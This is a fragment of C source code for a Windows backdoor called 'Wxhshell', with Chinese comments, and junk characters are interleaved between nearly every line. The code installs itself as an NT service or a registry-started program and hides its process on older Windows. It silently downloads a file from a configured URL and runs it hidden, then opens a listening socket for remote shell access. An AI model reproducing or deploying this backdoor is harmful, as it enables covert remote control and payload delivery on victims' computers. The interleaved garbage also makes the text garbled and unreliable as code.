:* if(!hProcess) return 0; !OWPwBm; 3 i<,#FaL if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?xEQ'(UBQ /~3~Xc~=p CloseHandle(hProcess); (Mi]vK.4 4;"^1 $ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r_C|gfIP if(hProcess==NULL) return 0; 0\v98g<[+ )006\W|t9 HMODULE hMod; W}m-5L char procName[255]; ! |SPOk unsigned long cbNeeded; 3jF#f'* b`"E(S / if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ci%u =%( o?nlnoe CloseHandle(hProcess); &:}e`u@5| L9tjHC] if(strstr(procName,"services")) return 1; // 以服务启动 }OY]mAv-B kwxb~~S}h( return 0; // 注册表启动 dxqVZksg(9 } T}} 0hs; N]n]7(e+0C // 主模块 i9Fg int StartWxhshell(LPSTR lpCmdLine) Q'-V\G)11 { 9~+A<X]Hd SOCKET wsl; 7sP;+G BOOL val=TRUE; n]M1'yU int port=0; \b{Aj,6, struct sockaddr_in door; u I$|M \zj _6Os if(wscfg.ws_autoins) Install(); /H#- \r&r fw>@:m_bK port=atoi(lpCmdLine); 5.gM]si (<sZ8n=AD if(port<=0) port=wscfg.ws_port; l;i,V;@t !0ly1T 9 WSADATA data; Y.I-hl1<r if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zJ{?'kp 6o@}k9AN if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 89@\AjI setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8N<0|u door.sin_family = AF_INET; .G[y^w)w} door.sin_addr.s_addr = inet_addr("127.0.0.1"); o(xRq;i door.sin_port = htons(port); #_yQv? J rfqw/o if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xdWfrm$;ZA closesocket(wsl); (Wkli:Lq return 1; 2
q RXA } ""Ul6hRgv EtN@ 6xP if(listen(wsl,2) == INVALID_SOCKET) { bc}X.IC closesocket(wsl); vW4~\] return 1; -r/G)Rs } <>aBmJs4 Wxhshell(wsl); "|W .o=R WSACleanup(); 4R!A.N 9 `(A6uakd return 0; =PHl|^ X!5N2x } b i^h&H _`lj
3Lm0> // 以NT服务方式启动 u2HkAPhD VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?]%JQ]Gf* { KDwz!:ye DWORD status = 0; %bf+Y7m DWORD specificError = 0xfffffff; \RN,i]c-g/ -_=0PW5{ serviceStatus.dwServiceType = SERVICE_WIN32; '!`%!Xg serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~82[pY serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o?\)!_Z| serviceStatus.dwWin32ExitCode = 0; Ore$yI}!m serviceStatus.dwServiceSpecificExitCode = 0; 8Ml&lfn_8 serviceStatus.dwCheckPoint = 0; 'Z2:u!E serviceStatus.dwWaitHint = 0; r})2-3ZA9 g-'y_'%0G hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zx^]3} if (hServiceStatusHandle==0) return; h}xUZ: #1R_*
Uh status = GetLastError(); 0
eZfHW& if (status!=NO_ERROR) H"(:6
` { MhC74G serviceStatus.dwCurrentState = SERVICE_STOPPED; 0?uX}8w serviceStatus.dwCheckPoint = 0; k5G(7Ug=g~ serviceStatus.dwWaitHint = 0; .d`+#1Ot( serviceStatus.dwWin32ExitCode = status; 3_=~7B)
8 serviceStatus.dwServiceSpecificExitCode = specificError;
{ZFa
+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); $,08y return; \V@SCA' } :QgC Zq Mq) n=M serviceStatus.dwCurrentState = SERVICE_RUNNING; R_h(Z{d serviceStatus.dwCheckPoint = 0; \C.%S +u serviceStatus.dwWaitHint = 0; ,CW]d#P| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o
D; } `;fh<kv PK1j$&F // 处理NT服务事件,比如:启动、停止 hT6:7_UD VOID WINAPI NTServiceHandler(DWORD fdwControl) *ggTTHy { GkMNV7"m switch(fdwControl) T#Pz_
hAu { 04tUf3> case SERVICE_CONTROL_STOP: "?,3O2t serviceStatus.dwWin32ExitCode = 0; FD(zj ^* serviceStatus.dwCurrentState = SERVICE_STOPPED; 6QdNGpN serviceStatus.dwCheckPoint = 0; ANSv ZqKh serviceStatus.dwWaitHint = 0; 9[DQ[bL { nPq\J~M SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~\dpD } 6h>8^l return; \Ekez~k{` case SERVICE_CONTROL_PAUSE: Qu]0BVIe serviceStatus.dwCurrentState = SERVICE_PAUSED; z.16%@R break;
H%7V)" case SERVICE_CONTROL_CONTINUE: )hk=wu6 serviceStatus.dwCurrentState = SERVICE_RUNNING; RBx`<iBe break; ;a!o$y case SERVICE_CONTROL_INTERROGATE: [rqe;00] break; &Pxt6M\d }; VL5kjF3/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); n? "ti } .G+}Kn9! yb/<
7 // 标准应用程序主函数 W9 y8dw. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yp5*8g5 { 3M{!yPlj rP ;~<IxEr // 获取操作系统版本 :w_F<2d0
0 OsIsNt=GetOsVer(); D,xWc|V GetModuleFileName(NULL,ExeFile,MAX_PATH); 9CJUOB>] Af=%5% // 从命令行安装 cNC\w% if(strpbrk(lpCmdLine,"iI")) Install(); .Q"3[ OdQ>h$ gZ // 下载执行文件 Js+d4``W if(wscfg.ws_downexe) { ^FgNg'"[3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J'9&dt WinExec(wscfg.ws_filenam,SW_HIDE); "W6nW } xmKa8']x yG&kP:k< if(!OsIsNt) { {#QFDA // 如果时win9x,隐藏进程并且设置为注册表启动 2`5(XpYe HideProc(); sxL;o>{ StartWxhshell(lpCmdLine); ]wne2 WXE } mXc/sh")X else N=D
Ynz_~ if(StartFromService()) 4:r^6m%% // 以服务方式启动 T.ub!,Y StartServiceCtrlDispatcher(DispatchTable); :&yRvu else !Go(8`> // 普通方式启动 |L;'In StartWxhshell(lpCmdLine); :EgdV CW\o>yh return 0; OpxVy _5, }
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